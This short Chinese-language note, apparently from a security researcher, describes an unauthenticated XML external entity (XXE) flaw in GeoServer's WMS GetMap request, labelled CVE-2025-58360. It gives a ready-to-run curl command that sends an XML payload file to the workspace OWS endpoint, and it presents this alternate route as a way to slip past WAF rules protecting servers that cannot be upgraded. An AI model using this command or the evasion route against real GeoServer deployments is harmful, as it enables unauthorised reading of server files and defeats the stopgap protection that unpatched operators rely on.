在我的 geoserver 分析过程中,我发现了另一种通过 WMS GetMap 操作攻击未经认证的 XML 外部实体(XXE)的方式。我们可以通过 /geoserver/{workspaces}/ows 利用 OWS 调用 WMS 服务来触发此漏洞,而不是像下面所示直接通过 /geoserver/wms 调用 WMS 服务。
curl -X POST "http://IP:PORT/geoserver/topp/ows?service=WMS&version=2.0.0&request=getmap&maxFeatures=1&outputFormat=application%2Fjson" -H "Content-Type: application/xml" --data-binary @payload.xml -o output.png
该漏洞编号为 CVE-2025-58360,但它为攻击者提供了一种绕过方式。绕过 WAF 系统,拦截使用 geoserver 的用户(因为用户可能无法更新版本,只能使用 WAF 来拦截恶意请求)
